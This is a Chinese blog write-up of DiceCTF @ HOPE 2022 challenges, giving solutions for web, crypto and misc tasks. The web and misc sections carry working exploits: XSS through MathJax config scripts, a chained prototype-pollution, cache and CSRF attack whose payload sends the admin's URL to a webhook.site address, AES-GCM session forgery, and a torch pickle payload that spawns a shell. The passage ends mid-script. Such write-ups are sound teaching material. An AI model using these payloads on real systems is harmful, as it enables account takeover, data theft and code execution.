DiceCTF @ HOPE WriteUps

發表於 2022-07-25 分類於 CTF

這次和 XxTSJxX 參加了這場 DiceCTF @ HOPE 的比賽(實質上是 redpwnCTF 2022)，拿到了不錯的成績。

web

point

package main

import (
	"encoding/json"
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"strings"
)

type importantStuff struct {
	Whatpoint string `json:"what_point"`
}

func main() {
	flag, err := os.ReadFile("flag.txt")
	if err != nil {
		panic(err)
	}

	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		switch r.Method {
		case http.MethodGet:
			fmt.Fprint(w, "Hello, world")
			return
		case http.MethodPost:
			body, err := io.ReadAll(r.Body)
			if err != nil {
				fmt.Fprintf(w, "Something went wrong 1")
				return
			}

			if strings.Contains(string(body), "what_point") || strings.Contains(string(body), "\\") {
				fmt.Fprintf(w, "Something went wrong 2")
				return
			}

			var whatpoint importantStuff
			err = json.Unmarshal(body, &whatpoint)
			if err != nil {
				fmt.Fprintf(w, "Something went wrong 3 %s", err)
				return
			}

			if whatpoint.Whatpoint == "that_point" {
				fmt.Fprintf(w, "Congrats! Here is the flag: %s", flag)
				return
			} else {
				fmt.Fprintf(w, "Something went wrong 4 %s", whatpoint.Whatpoint)
				return
			}
		default:
			fmt.Fprint(w, "Method not allowed")
			return
		}
	})

	log.Fatal(http.ListenAndServe(":8081", nil))

}

這邊是要弄一個 json 可以被 unmarshal 使得 whatpoint.Whatpoint == "that_point"，但是它又不允許 body 中出現 what_point 和 \，而在 struct definition 的部分 Whatpoint 又是指定要從 what_point 的 key 取值才行。

我是直接進去讀 json.Unmarshal 的 code，主要看到了這一段發現說它 key 在比對的時候也會 case insensitive match，所以把一個字母改大寫就能 bypass 了。

1 2	> curl 'https://point.mc.ax/' --data '{"what_poinT":"that_point"}' Congrats! Here is the flag: hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}

mk

題目有個很直接的 https://mk.mc.ax/render?content=asd 會幫你 render markdown，也沒擋 html 等等的，所以可以很直接的 inject html，但是它有個這樣的 csp 擋著導致沒辦法直接的 xss:

1	default-src 'self';base-uri 'self';frame-ancestors 'none';img-src 'none';object-src 'none';script-src 'self' 'unsafe-eval';script-src-attr 'none';style-src 'self' 'unsafe-inline'

看一下它提供的檔案知道它有 MathJax 2.7.9，所以去翻了官方的 Getting Started，知道 MathJax 是這樣初始化的:

<script type="text/x-mathjax-config">
MathJax.Hub.Config({
  tex2jax: {inlineMath: [['$','$'], ['\\(','\\)']]}
});
</script>
<script type="text/javascript" async src="path-to-mathjax/MathJax.js?config=TeX-AMS_CHTML"></script>

那個 text/x-mathjax-config 看了就相當可疑，把它改了一下變成:

<script type="text/x-mathjax-config">
alert(1)
</script>
<script type="text/javascript" async src="/MathJax/MathJax.js?config=TeX-AMS_CHTML"></script>

然後塞到 /render?content=... 中就出現 alert 了，代表 MathJax 會 eval 那段 code，所以剩下就是把 admin bot 的 cookie 拿走就搞定。

Flag: hope{make_sure_to_check_your_dependencies}

payment-pal

這題是我到目前為止解過的 web ctf 題目中我認為設計最好的一個題目

這題是個相當複雜的題目，需要找到各個 vulnerability 並全部串在一起才能解開。

首先是從它的 admin bot 看起:

// npm install puppeteer

const puppeteer = require("puppeteer");

// change these
const USERNAME = "ADMIN_ACCOUNT";
const PASSWORD = "ADMIN_PASSWORD";
const SITE = "http://paymentpal.localhost";

const visit = async (url) => {
    let browser;
    try {
        browser = await puppeteer.launch({
            headless: 'chrome',
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--js-flags=--noexpose_wasm,--jitless",
            ],
            dumpio: true
        });

        let page = await browser.newPage();
        await page.goto(SITE, {
            waitUntil: "networkidle2"
        });

        await page.evaluate((username, password) => {
            document.querySelector("input[name=username]").value = username;
            document.querySelector("input[name=password]").value = password;
            document.querySelector("#login_btn").click();
        }, USERNAME, PASSWORD);
        page.once('dialog', async dialog => {
            await dialog.dismiss();
        });
        await page.waitForNavigation();

        // yeah, this is indeed the payment-pal website :')
        await page.waitForTimeout(1000);

        await page.evaluate(() => {
            document.querySelector("#logout_btn").click();
        });
        await page.waitForTimeout(2000);

        await page.goto(url);
        await page.waitForTimeout(10000);

        await browser.close();
        browser = null;
    } catch (err) {
        console.log(err);
    } finally {
        if (browser) await browser.close();
    }
};

visit("https://yourwebsite/payload");

總之它的流程就是先 admin 登入，然後再直接登出，最後再 visit 指定的 url 而已。登入後再登出的部分看起來根本是 NOOP，所以讓人更 confused 的地方在於 visit url 的時候已經沒有 admin credentials 了，那還有什麼利用機會嗎?

後端部分是使用 express 和 graphql 寫成的，db 部分只是單純 javascript 的 in memory map 而已:

db.js:

const users = new Map();

const getUser = (name) => users.get(name);
const setUser = (name, data) => users.set(name, data);

(() => {
    const crypto = require("crypto");
    const sha256 = (data) => crypto.createHash('sha256').update(data).digest('hex');

    const username = `admin-` + (process.env.ADMIN_SUFFIX || crypto.randomBytes(8).toString("hex"));
    const password = process.env.ADMIN_PASSWORD || crypto.randomBytes(16).toString("hex");
    setUser(username, Object.freeze({
        username,
        password: sha256(password),
        money: 133742069,
        isAdmin: true,
        contacts: Object.freeze([])
    }));
    console.log(`created account: ${username} with password ${password}`);
})();

module.exports = {
    getUser,
    setUser
};

auth.js 部分可知它使用了 AES-256-GCM 加密 username 作為 token，塞到 session cookie 裡面:

const crypto = require("crypto");

const db = require("./db.js");

const KEY = crypto.randomBytes(32);

const encrypt = (data) => {
  const iv = Buffer.from(crypto.randomBytes(16));
  const cipher = crypto.createCipheriv('aes-256-gcm', KEY, iv);
  let enc = cipher.update(data, 'utf8', 'base64');
  enc += cipher.final('base64');
  return [enc, iv.toString('base64'), cipher.getAuthTag().toString('base64')].join(".");
};

const decrypt = (data) => {
  try {
    const [enc, iv, authTag] = data.split(".").map(d => Buffer.from(d, 'base64'));
    const decipher = crypto.createDecipheriv('aes-256-gcm', KEY, iv);
    decipher.setAuthTag(authTag);
    let dec = decipher.update(enc, 'base64', 'utf8');
    return dec;
  }
  catch(err) {
    return null;
  }
};

const getUser = (req) => {
  const session = req.cookies.session;
  if(!session) {
    throw new Error("You are not logged in")
  }

  const username = decrypt(session);
  if(!username) {
    throw new Error("You are not logged in");
  }
  
  let user = db.getUser(username);
  if(!user) {
    throw new Error("You are not logged in")
  }

  return user;
};

const setUser = (res, username) => {
  res.cookie("session", encrypt(username));
};

module.exports = { getUser, setUser };

我們知道 AES-GCM 是 authenticated encryption，所以應該是沒辦法修改 session 的對吧? 然而這份 code 中卻出現了一個大問題，主要是 api 的使用錯誤造成的。對照一下 Google 到的 example using node.js crypto API with aes-256-gcm 和它這份 code 可以注意到一個點，就是 encrypt 的時候兩者都有使用到 cipher.final()，但是 decrypt 的時候 auth.js 並沒有使用到 decipher.final()。測試一下會發現此時把 authTag 亂改也能成功 decrypt，這是因為它需要 decipher.final() 才會檢查 authTag，所以不檢查的 AES-GCM 就相當於 AES-CTR，代表可以隨便 flip 想要的 plaintext。

範例:

const xor = (a, b) => {
	const buf = Buffer.alloc(a.length)
	for (let i = 0; i < a.length; i++) {
		buf[i] = a[i] ^ b[i]
	}
	return buf
}

const [enc, iv, auth] = encrypt('guest').split('.')
const target = Buffer.from('admin')
const plain = Buffer.from('guest')
const enc2 = xor(Buffer.from(enc, 'base64'), xor(target, plain)).toString('base64')
console.log(decrypt([enc, iv, auth].join('.')))  // guest
console.log(decrypt([enc2, iv, auth].join('.')))  // admin

所以這代表它的 token decrypt 出來的 username 是可以隨便亂改的，但是要得到 admin 的帳號還需要知道 admin username 到底是什麼才行 (admin-?)。

現在的目標從原本的 xss 並用 graphql transfer money 到自己的帳號 簡化成為了 xss 並取得 admin username，所以 admin bot 登出的這件事就不再是那麼的 confusing 了。假設已經取得了 xss，可以用 history.go(-4) 之類的讓它回到原本的頁面，然後如果是在新分頁得到 xss 的話就只要在 window.opener.location.href 等地方拿 url 就可以了。(登入成功時會 redirect 到 /?message=logged in as ${username}，所以有 username 在 url 中)

要 xss 就要讀 client side 的 script.js，這邊只節錄重要部分而已:

const $ = document.querySelector.bind(document); // imagine using jQuery...

const DENYLIST = ["__proto__", "constructor", "prototype"]; // no
const parseQs = () => {
  let obj = {};
  let pairs = location.search.slice(1).split('&').filter(Boolean);
  for (let i = 0; i < pairs.length; i++) {
    if (DENYLIST.some(key => pairs[i].includes(key))) continue;

    let parts = pairs[i].split('=');
    let m;
    if (m = /(\w+)\[(\w+)\]/.exec(decodeURIComponent(parts[0]))) {
      obj[m[1]] = obj[m[1]] || [];
      obj[m[1]][m[2]] = decodeURIComponent(parts[1]);
    } else {
      obj[decodeURIComponent(parts[0])] = decodeURIComponent(parts[1]);
    }
  }

  history.pushState(null, null, location.pathname);
  return obj;
};
let qs = parseQs();

const graphql = async (query, variables) => {
  let r;
  if (variables) {
    r = await fetch("/graphql", {
      method: "POST",
      credentials: "same-origin",
      headers: {
        "Content-Type": "application/json"
      },
      body: JSON.stringify({
        query,
        variables
      })
    });
  } else {
    r = await fetch("/graphql?query=" + encodeURIComponent(query), {
      credentials: "same-origin"
    });
  }
  return await r.json();
};

window.onload = async () => {
  if (qs.message) {
    alert(qs.message);
    await new Promise(r => setTimeout(r, 500));
  }
  qs = null;

  let res = await graphql(`query { info { money, isAdmin } }`);
  if (res.errors) {
    // not logged in
    $("#anonymous").style.display = "block";
  } else {
    // welcome!
    let { money, isAdmin } = res.data.info;
    $("#user").style.display = "block";
    $("#money").innerText = `Money: $${money}`;

    if (isAdmin) {
      // enable WIP contacts feature
      let res = await graphql(`query { info { contacts } }`);
      if (res.errors || !res.data.info.contacts) return;
      let html = `<h3>contacts:</h3><ol>`;
      res.data.info.contacts.forEach(user =>
        html += `<li onclick="transferToUser('${user}')" style="cursor:pointer">${user}</li>`
      );
      html += `</ol>`;
      $("#contacts").innerHTML = html;
    }
  }
};

首先是 parseQs 雖然有檢查 __proto__ constructor prototype，但是它檢查之後還會 decodeURIComponent，所以可以很容易的繞過檢查去 prototype pollution，像是下面的 url 會使 Object.prototype.peko === 'miko' 成立:

1	https://payment-pal.mc.ax/?__%70roto__%5Bpeko%5D=miko

但是從這後讀都看不出有什麼能 prototype pollution gadget 能用的地方，最可疑的部分只有 isAdmin 進去之後的 $("#contacts").innerHTML = html; 才有 xss 的機會，但是 await graphql(`query { info { money, isAdmin } }`) 對於普通 account 回傳的都都是 {"data":{"info":{"money":0,"isAdmin":false}}}，就算 pollute Object.prototype.isAdmin 也是沒用的。

這邊讓我想到突破點的是不久前解的 SEETF 2022 - Charlotte's Web，裡面讓我學到了 prototype pollution 對某些 browser api 也是有效的，包括 fetch。例如下面這段 code 在 Chromium 和 Firefox 中執行都是能成功 query 的:

Object.prototype.body = JSON.stringify({ query: 'query { info { username } }' })
await fetch("/graphql", {
  method: "POST",
  credentials: "same-origin",
  headers: {
    "Content-Type": "application/json"
  }
}).then(r => r.json());

然而這邊的 prototype pollution 只能 pollute 一層，代表沒辦法 pollute headers，所以無法透過改 method 和 body 和動些手腳。去查一下 fetch() 的選項能找到有趣的 cache，其中一個玩法是 cache: 'force-cache'，讓瀏覽器在有 cache 的情況下強制使用 cache 的資料。(是否是 cache 可以在 devtools 中 Network 的 Fulfilled by 看到)

因為 admin bot 是先登入後等了一秒之後才登出，代表 script.js 中的 query { info { money, isAdmin } } 和 query { info { contacts } } 的 response 應該也都存在於 cache 中。所以如果 pollute Object.prototype.cache = 'force-cache' 的話瀏覽器就會使用先前的 cached response，對 admin bot 來說 isAdmin 就會是 true !

但這同時 query { info { contacts } } 的回傳值也會是 cached 的 response，如果想要透過控制 contacts 來 xss 的話需要找方法 purge cache。做了一些測試之後發現直接 GET 該 query 的 url 是不行的，但是直接 csrf POST 那個 url 倒是能讓 contacts 的 cache 消失。

剩下就比較簡單了，因為 isAdmin 會讓瀏覽器走到那個 if branch 中，只要控制 contacts 的 username 就能 inject html 達成 xss。至於控制 contacts 的方法也很常見，就是用 csrf 讓 admin bot login 到任意的新帳號中，然後因為帳號是自己控制的代表它的 contacts 也是自己可控的 (或是 register 之後再 CSRF addContact 也行)。這個手段是很常見的 Self-XSS + CSRF = XSS。

不過要 CSRF graphql 的話會發現 GET /graphql?query=mutation { ... } 會失敗，因為它要求 POST。雖然 CSRF 沒辦法控制 Content-Type 到 application/json，但是做點測試就能知道 POST /graphql?query=mutation { ... } 也是可以過的，不一定要用 json 放在 body 中。

完整用 xss 偷 admin username 的 payload:

index.html:

<script>
    window.open('/main.html' + location.hash)
    history.go(-3)
</script>

這邊開啟主要做事的 main.html，然後 history.go(-3) 讓它回到原本的 https://payment-pal.mc.ax/，方便到時候 main.html 的 tab 得到 xss 的時候可以用 window.opener 回來控制。

另外還有個 location.hash 是和 main.html 有關的。

main.html:

<script>
	const base = ['http://localhost:8080', 'https://payment-pal.mc.ax'][location.hash.slice(1)]
	window.onload = async () => {
		w =  window.open('/nocache.html' + location.hash)
		await new Promise(r => setTimeout(r, 1000))
		w.close()
		w = window.open('/csrf_register.html' + location.hash)
		await new Promise(r => setTimeout(r, 1000))
		w.close()
		w = window.open('/csrf_addcontact.html' + location.hash)
		await new Promise(r => setTimeout(r, 1000))
		w.close()
		location = `${base}/?__%70roto__%5Bcache%5D=force-cache`
	}
</script>

利用 location.hash 選 base url 只是為了方便在 localhost 測試用的 code 而已，可以當作沒看到。而它本體就是按照順序開三個頁面，分別是清除 contacts 的 cache、CSRF register 和 CSRF addContact，最後再把自己本身導向到 payment-pal 本身並同時 pollute cache: 'force-cache'。

nocache.html:

<script>
	const base = ['http://localhost:8080', 'https://payment-pal.mc.ax'][location.hash.slice(1)]
	window.onload = async () => {
		const u = `${base}/graphql?query=query%20%7B%20info%20%7B%20contacts%20%7D%20%7D`
		const f = document.createElement('form')
		f.method = 'POST'
		f.action = u
		document.body.appendChild(f)
		f.submit()
	}
</script>

這邊就是那個 POST contacts query 的部分，目標是為了把 cache 清除掉。

csrf_register.html:

<script>
	const base = ['http://localhost:8080', 'https://payment-pal.mc.ax'][location.hash.slice(1)]
	window.onload = async () => {
        const user = Math.random().toString(36)
        const pass = Math.random().toString(36)
		const u =
			`${base}/graphql?query=` +
			encodeURIComponent(`mutation { register(username: ${JSON.stringify(user)}, password: ${JSON.stringify(pass)}) { username } }`)
		const f = document.createElement('form')
		f.method = 'POST'
		f.action = u
		document.body.appendChild(f)
		f.submit()
	}
</script>

這邊是 CSRF 隨機 register 帳號的部分，也就是 Self-XSS 的帳號。

csrf_addcontact.html:

<script>
	const base = ['http://localhost:8080', 'https://payment-pal.mc.ax'][location.hash.slice(1)]
	window.onload = async () => {
		const xss = `<img src onerror="window.opener.history.go(-2);setTimeout(()=>{
			fetch('https://webhook.site/6cc46cc8-91a2-4af0-ad21-4d172e924df3?xss='+encodeURIComponent(window.opener.location.href), {mode:'no-cors'})
		},1000)">`
		const u =
			`${base}/graphql?query=` +
			encodeURIComponent(`mutation { addContact(username: ${JSON.stringify(xss)}){ username } }`)
		const f = document.createElement('form')
		f.method = 'POST'
		f.action = u
		document.body.appendChild(f)
		f.submit()
	}
</script>

把 xss payload 用 CSRF addContact 進到 db 而已，而 xss payload 部分做的事就是先把原本的 login + logout + index.html 的 tab history 再往前弄兩個，之後直接存取它的 href 就能拿到頁面的 url 了。我在 remote instance 上收到的是:

1	https://payment-pal.mc.ax/?message=logged%20in%20as%20admin-dicegang_pp_user

所以這樣就知道 admin 的 username 是 admin-dicegang_pp_user，剩下用 AES-GCM 那個 bug 就能生出一個 username 相同的 token:

// first register an account with username aaaaaaaaaaaaaaaaaaaaaa, and grab its token
const [enc, iv, auth] = 'JOqjWwyEnD+62ER1kFLOaS+Uz2f4Xg==.tx6orPNKYjUQ2VpYf9GtKA==.vDV0+uV+9dqXwsAWNYywNA=='.split('.')
const target = Buffer.from('admin-dicegang_pp_user')
const plain = Buffer.from('a'.repeat(22))
const enc2 = xor(Buffer.from(enc, 'base64'), xor(target, plain)).toString('base64')
console.log([enc2, iv, auth].join('.'))

再來 transfer money 給自己的帳號:

curl 'https://payment-pal.mc.ax/graphql' -G --data-urlencode 'query=mutation { transfer(recipient: "pekomiko35", amount: 133742069) { username } }' -H 'Cookie: session=JO+vUwPImTe43EJ1n1TweD6q23X8TQ==.tx6orPNKYjUQ2VpYf9GtKA==.vDV0+uV+9dqXwsAWNYywNA==' -X POST

最後在自己的帳號下 query query { flag } 就結束了。

Flag: hope{pp=payment-pal=prototype-pollution!!!}

作者 writeup: DiceCTF @ HOPE - web/payment-pal writeup

crypto

reverse-rsa

#!/usr/local/bin/python

import re
from Crypto.Util.number import isPrime, GCD

flag_regex = rb"hope{[a-zA-Z0-9_\-]+}"

with open("ciphertext.txt", "r") as f:
	c = int(f.read(), 10)

print(f"Welcome to reverse RSA! The encrypted flag is {c}.  Please provide the private key.")

p = int(input("p: "), 10)
q = int(input("q: "), 10)
e = int(input("e: "), 10)

N = p * q
phi = (p-1) * (q-1)

if (p < 3) or not isPrime(p) or (q < 3) or not isPrime(q) or (e < 2) or (e > phi) or GCD(p,q) > 1 or GCD(e, phi) != 1:
	print("Invalid private key")
	exit()


d = pow(e, -1, phi)
m = pow(c, d, N)

m = int.to_bytes(m, 256, 'little')
m = m.strip(b"\x00")

if re.fullmatch(flag_regex, m) is not None:
	print("Clearly, you must already know the flag!")

	with open('flag.txt','rb') as f:
		flag = f.read()
		print(flag.decode())

else:
	print("hack harder")

這題有個使用未知 RSA public 加密的 flag 記為，然後需要自己提供另一組 public key 使符合某個 hope{[a-zA-Z0-9_\-]+} 的 regex。

解法就是隨便取個符合 regex 的如 hope{a} (要注意 endianness)，然後這個問題就變成了 discrete log 了，因此只要讓都夠 smooth 然後分別解 dlog 之後 crt 就能求得需要的了。

from Crypto.Util.number import *

c = 7146993245951509380139759140890681816862856635262037632915667109712467317954902955151177421740994622238561522690931235839733579166121631742096762557444153806131985279962646477997889661633938981817306610901055296705982494607773446985300816341071922739788638126631520234249358834592814880445497817389957300553660499631838091201561728727996660871094966330045071879490277901216751327226984526095495604592577841120425249633624459211547984305731778854596177467026282357094690700361174790351699376317810120824316300666128090632100150965101285647544696152528364989155735157261219949095760495520390692941417167332814540685297
m = bytes_to_long(b"hope{a}"[::-1])


def gen():
    while True:
        b = 64
        n = 4
        ps = [getPrime(b // n) for _ in range(n)]
        p = 2 * product(ps) + 1
        if isPrime(p):
            return p


while True:
    try:
        p = gen()
        q = gen()
        dp = GF(p)(m).log(c)
        dq = GF(q)(m).log(c)
        d = crt([ZZ(dp), ZZ(dq)], [p - 1, q - 1])
        e = inverse_mod(d, (p - 1) * (q - 1))
        m = power_mod(c, d, p * q)
    except:
        continue
    print(p)
    print(q)
    print(e)
    print(int.to_bytes(int(m), 256, 'little'))
    break
"""
18237507977115134399
13539415005905881139
201049869065984997914383873658228289079
"""
# hope{successful_decryption_doesnt_mean_correct_decryption_0363f29466b883edd763dc311716194d37dff5cd93cd4f1b4ac46152f4f9}

small-fortune

from Crypto.Util.number import *
from gmpy2 import legendre

flag = bytes_to_long(open("flag.txt", "rb").read())

p, q = getPrime(256), getPrime(256)
n = p * q

x = getRandomRange(0, n)
while legendre(x, p) != -1 or legendre(x, q) != -1:
    x = getRandomRange(0, n)

def gm_encrypt(msg, n, x):
    y = getRandomRange(0, n)
    enc = []
    while msg:
        bit = msg & 1
        msg >>= 1
        enc.append((pow(y, 2) * pow(x, bit)) % n)
        y += getRandomRange(1, 2**48)
    return enc

print("n =", n)
print("x =", x)
print("enc =", gm_encrypt(flag, n, x))

首先有 256 bits 的和一個隨機數 (二次剩餘的部分好像用不到 (?)) 當作 public key，然後加密流程是先生成一個未知的隨機數，之後 bit by bit 加密:

其中的且是以內的隨機數。

首先是假定 flag.txt 裡面的 flag 是 flag format hope{...} 且在最後沒有換行，那麼我們知道。從這邊可以列出兩個等式:

分別移項可以得到兩個多項式，用 resultant 可得是個的四次多項式，因為所以用 coppersmith 可得。再來將代回會得到兩個只有的多項式，gcd 後可得。

現在有的情況下就容易很多了，假設現在我們不知道是多少 (也不知道 )，那麼以下兩個等式都有可能發生:

這邊只有已知，且又很小，所以直接對兩個多項式都做做看 coppersmith 看看哪個有小於的根就能知道是還是了。剩下的 bits 一樣能以此類推。

with open("output.txt") as f:
    exec(f.read())


def resultant(f1, f2, var):
    return f1.sylvester_matrix(f2, var).det()


# assuming ending with `}` = 01111101
P = PolynomialRing(Zmod(n), "y,d")
y, d = P.gens()
f = y ^ 2 * x - enc[0]
g = (y + d) ^ 2 - enc[1]
h = resultant(f, g, y).univariate_polynomial()
d = h.monic().small_roots()[1]


P = PolynomialRing(Zmod(n), "y")
y = P.gen()
f = y ^ 2 * x - enc[0]
g = (y + d) ^ 2 - enc[1]
while g:
    f, g = g, f % g
y = -f[0] / f[1]
assert y ^ 2 * x == enc[0]


bits = [1]
for e in enc[1:]:
    P = PolynomialRing(Zmod(n), "d")
    d = P.gen()
    f = (y + d) ^ 2 * x - e
    g = (y + d) ^ 2 - e
    rs1 = f.monic().small_roots()
    rs2 = g.monic().small_roots()
    if rs1:
        bits += [1]
        d = rs1[0]
    elif rs2:
        bits += [0]
        d = rs2[0]
    else:
        raise Exception("nope")
    y += d
    print(y)
    print(bits)
bits += [0]

from pwn import unbits

print(unbits(bits[::-1]))
# hope{r4nd0m_sh0uld_b3_truly_r4nd0m_3v3ry_t1m3_sh0uld_1t_n0t?}

註: 是說這題的只有 512 bits，願意花錢的話應該可以用 FaaS 直接分解，然後用 rabin decrpytion 解出

misc

arson

這題是 reckless arson 出壞掉的版本，不過我一開始解的時候就成功找到了 intended solution，所以這個 unintended 是後來才額外找的

#!/usr/local/bin/python

import torch
import pickle
import base64
import secrets
import os

class UnpicklerWrapper:
    def find_class(self, module, name):
        if module+"."+name in (
            "builtins.set",
            "collections.OrderedDict",
            "torch.nn.modules.activation.LogSigmoid",
            "torch.nn.modules.activation.LogSoftmax",
            "torch.nn.modules.activation.ReLU",
            "torch.nn.modules.activation.Sigmoid",
            "torch.nn.modules.activation.Softmax",
            "torch.nn.modules.batchnorm.BatchNorm1d",
            "torch.nn.modules.batchnorm.BatchNorm2d",
            "torch.nn.modules.batchnorm.BatchNorm3d",
            "torch.nn.modules.conv.Conv1d",
            "torch.nn.modules.conv.Conv2d",
            "torch.nn.modules.conv.ConvTranspose1d",
            "torch.nn.modules.conv.ConvTranspose2d",
            "torch.nn.modules.dropout.Dropout2d",
            "torch.nn.modules.dropout.Dropout3d",
            "torch.nn.modules.flatten.Flatten",
            "torch.nn.modules.linear.Linear",
            "torch.nn.modules.loss.BCELoss",
            "torch.nn.modules.loss.BCEWithLogitsLoss",
            "torch.nn.modules.loss.CrossEntropyLoss",
            "torch.nn.modules.loss.L1Loss",
            "torch.nn.modules.loss.MSELoss",
            "torch.nn.modules.pooling.AvgPool2d",
            "torch.nn.modules.pooling.MaxPool2d",
            "torch._utils._rebuild_parameter",
            "torch._utils._rebuild_tensor_v2",
            "torch.Size",
            "torch.BFloat16Storage",
            "torch.BoolStorage",
            "torch.CharStorage",
            "torch.ComplexDoubleStorage",
            "torch.ComplexFloatStorage",
            "torch.HalfStorage",
            "torch.IntStorage",
            "torch.LongStorage",
            "torch.QInt32Storage",
            "torch.QInt8Storage",
            "torch.QUInt8Storage",
            "torch.ShortStorage",
            "torch.storage._StorageBase",
            "torch.ByteStorage",
            "torch.DoubleStorage",
            "torch.FloatStorage",
            "torch._C.HalfStorageBase",
            "torch._C.QInt32StorageBase",
            "torch._C.QInt8StorageBase",
            "torch.storage._TypedStorage",
        ):
            return super().find_class(module, name)
        else:
            raise Exception("Hacking detected!")

# replace find_class with our safe one
_load_co_consts = list(torch.serialization._load.__code__.co_consts)
unpickler_co_consts = list(_load_co_consts[7].co_consts)
unpickler_co_consts[1] = UnpicklerWrapper.find_class.__code__
_load_co_consts[7] = _load_co_consts[7].replace(co_consts=tuple(unpickler_co_consts))
torch.serialization._load.__code__ = torch.serialization._load.__code__.replace(co_consts=tuple(_load_co_consts))
_legacy_load_co_consts = list(torch.serialization._legacy_load.__code__.co_consts)
unpickler_co_consts = list(_legacy_load_co_consts[7].co_consts)
unpickler_co_consts[1] = UnpicklerWrapper.find_class.__code__
_legacy_load_co_consts[7] = _legacy_load_co_consts[7].replace(co_consts=tuple(unpickler_co_consts))
torch.serialization._legacy_load.__code__ = torch.serialization._legacy_load.__code__.replace(co_consts=tuple(_legacy_load_co_consts))

try:
    with open(filename := "/tmp/"+secrets.token_hex(), "wb") as f:
        data = base64.b64decode(input("Enter base64-encoded model: "))
        if len(data) > 1000000: raise Exception("Model too big")
        f.write(data)

    model = torch.load(filename)

    # Machine learning is magic!
    model.solve_world_hunger()
finally:
    os.remove(filename)

可以知道它是要想辦法提供一個假的 model，讓 torch.load 去 RCE。首先先讀一下 torch.load 的 code (在 serialization.py) 可以知道它有分新的和舊的格式，分別是在 _load 和 _legacy_load 裡面 implement，而這個 unintended 和 _legacy_load 有關。

可以看到他裡面有 UnpicklerWrapper，它的 find_class 基本上可以很容易達成 RCE，但是 arson.py 本身卻有透過 patch co_consts 修改了 UnpicklerWrapper.find_class 到它這個限制住的 UnpicklerWrapper，所以應該能擋住直接的 RCE...?

直接往下讀可以看到它有 magic_number = pickle_module.load(f, **pickle_load_args)，這邊的 pickle_module 就真的是 Python 本身的 pickle，所以直接弄個單純的 os.system('sh') 的 pickle 當作就能 RCE 了。

reckless arson

這題是前一題的修正版，把原本 _legacy_load 的部分直接簡化成 None:

71,75c71,73
< _legacy_load_co_consts = list(torch.serialization._legacy_load.__code__.co_consts)
< unpickler_co_consts = list(_legacy_load_co_consts[7].co_consts)
< unpickler_co_consts[1] = UnpicklerWrapper.find_class.__code__
< _legacy_load_co_consts[7] = _legacy_load_co_consts[7].replace(co_consts=tuple(unpickler_co_consts))
< torch.serialization._legacy_load.__code__ = torch.serialization._legacy_load.__code__.replace(co_consts=tuple(_legacy_load_co_consts))
---
> 
> # old stuff is dangerous
> torch.serialization._legacy_load = None

所以這樣就變的只能使用新的 _load (source code 在此)，而它裡面這次只有用 UnpicklerWrapper 去載入 pickle，但它的 co_consts 也被改過，導致 find_class 是修正版的 find_class，因此這邊沒有簡單的 uninteneded solution，只能想辦法找它允許的那個列表中有哪個可以用。

稍微讀一些 code 可以知道 torch.storage._TypedStorage 相當的有趣，因為它 __new__ 裡面有條 code path 會執行到 eval():

return _TypedStorage(
    *args,
    dtype=cls.dtype,
    device='cuda' if eval(cls.__module__) is torch.cuda else 'cpu')

PS: 這個 eval 正好在比賽的前幾天被 patch 了，但是當時 pip 上預設安裝下來的版本還沒修正

讀一下 code 可知進入到那個地方的條件是 cls != _LegacyStorage and cls != _LegacyStorage len(args) == 0，然後它就會 eval(cls.__module__)。稍微研究一下 storage 相關的 code 可知 _LegacyStorage 是 _TypedStorage 的 subclass，然後還有 torch.FloatStorage 之類的 class 又繼承自 _LegacyStorage。因此要過 cls 的檢查就需要選擇 torch.FloatStorage, torch.ByteStorage 等等的 class 來用才行。

嘗試直接呼叫 torch.FloatStorage() 可確定它能進到 eval 的 path，所以只要能修改 torch.FloatStorage.__module__ 就能有 code execution。

在 pickle 中我們知道有個叫 BUILD 的 opcode (source)，它會根據參數 state 的格式看是要透過 __dict__ 還是 setattr 來修改一個物件的 attribute。然而 class __dict__ 正常情況下是 mappingproxy，它不支援直接的修改:

>>> import torch
>>> torch.FloatStorage.__dict__['__module__'] = 'asd'
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'mappingproxy' object does not support item assignment

但是使用 setattr 就能成功:

>>> import torch
>>> setattr(torch.FloatStorage, '__module__', 'asd')
>>> torch.FloatStorage.__module__
'asd'

所以要修改 __module__ 的話必須讓它使用 setattr 的版本才行。這件事很重要的原因是因為我用了 splitline/Pickora 來簡化生成 pickle bytecode，而它預設修改 attribute 的方法是使用 BUILD 中修改 __dict__ 的方案 (source)，所以我還得另外在 macro 的部分另外加上一個 BUILD macro 來用:

def macro_build(args):
    assert(len(args) == 2)
    self.bytecode += pickle.MARK
    self.traverse(args[0])
    self.traverse(args[1])
    self.bytecode += b'b'
macro_handler['BUILD'] = macro_build

我這邊其實應該直接改處理 attribute 的 code 比較好，不過後來才知道 Pickora 先前也是用 setattr 的，只是它在這個 commit 被修掉了==

總之，使用 patch 過的 Pickora 去 compile 下面這個 code 就能得到 RCE payload:

1
2
3

from torch import FloatStorage
BUILD(FloatStorage, (None, {"__module__": "__import__('os').system('sh')"}))
FloatStorage()

順便也附上完整的 code:

import sys

sys.path.insert(0, "./Pickora")
from compiler import Compiler
import torch
import pickle
import base64
import secrets
import os
import zipfile


class UnpicklerWrapper:
    def find_class(self, module, name):
        if module + "." + name in (
            "builtins.set",
            "collections.OrderedDict",
            "torch.nn.modules.activation.LogSigmoid",
            "torch.nn.modules.activation.LogSoftmax",
            "torch.nn.modules.activation.ReLU",
            "torch.nn.modules.activation.Sigmoid",
            "torch.nn.modules.activation.Softmax",
            "torch.nn.modules.batchnorm.BatchNorm1d",
            "torch.nn.modules.batchnorm.BatchNorm2d",
            "torch.nn.modules.batchnorm.BatchNorm3d",
            "torch.nn.modules.conv.Conv1d",
            "torch.nn.modules.conv.Conv2d",
            "torch.nn.modules.conv.ConvTranspose1d",
            "torch.nn.modules.conv.ConvTranspose2d",
            "torch.nn.modules.dropout.Dropout2d",
            "torch.nn.modules.dropout.Dropout3d",
            "torch.nn.modules.flatten.Flatten",
            "torch.nn.modules.linear.Linear",
            "torch.nn.modules.loss.BCELoss",
            "torch.nn.modules.loss.BCEWithLogitsLoss",
            "torch.nn.modules.loss.CrossEntropyLoss",
            "torch.nn.modules.loss.L1Loss",
            "torch.nn.modules.loss.MSELoss",
            "torch.nn.modules.pooling.AvgPool2d",
